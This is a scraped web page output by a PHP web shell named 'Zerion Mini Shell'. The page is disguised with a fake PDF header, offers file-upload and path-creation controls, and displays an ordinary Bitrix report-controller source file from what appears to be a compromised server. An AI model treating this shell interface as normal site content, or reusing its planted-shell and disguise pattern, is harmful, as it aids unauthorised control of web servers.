%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/bitrix/www/bitrix/modules/report/lib/visualconstructor/controller/
Upload File :
Create Path :
Current File : /home/bitrix/www/bitrix/modules/report/lib/visualconstructor/controller/report.php

<?php
namespace Bitrix\Report\VisualConstructor\Controller;

use Bitrix\Report\VisualConstructor\Handler\BaseReport;
use Bitrix\Report\VisualConstructor\RuntimeProvider\ReportProvider;

/**
 * Class Report
 * @package Bitrix\Report\VisualConstructor\Controller
 */
class Report extends Base
{
	/**
	 * @param string $categoryKey Category key.
	 * @return array
	 */
	public function getReportHandlersByCategoryAction($categoryKey = '__')
	{
		$result = array();
		$reports = new ReportProvider();
		if ($categoryKey !== '__')
		{
			$reports->addFilter('categories', array($categoryKey));
		}

		$reports->execute();

		/** @var BaseReport[] $reportHandlers */
		$reportHandlers = $reports->getResults();
		foreach ($reportHandlers as $report)
		{
			$result[$report::getClassName()] = $report->getTitle();
		}
		return $result;
	}
}

Zerion Mini Shell 1.0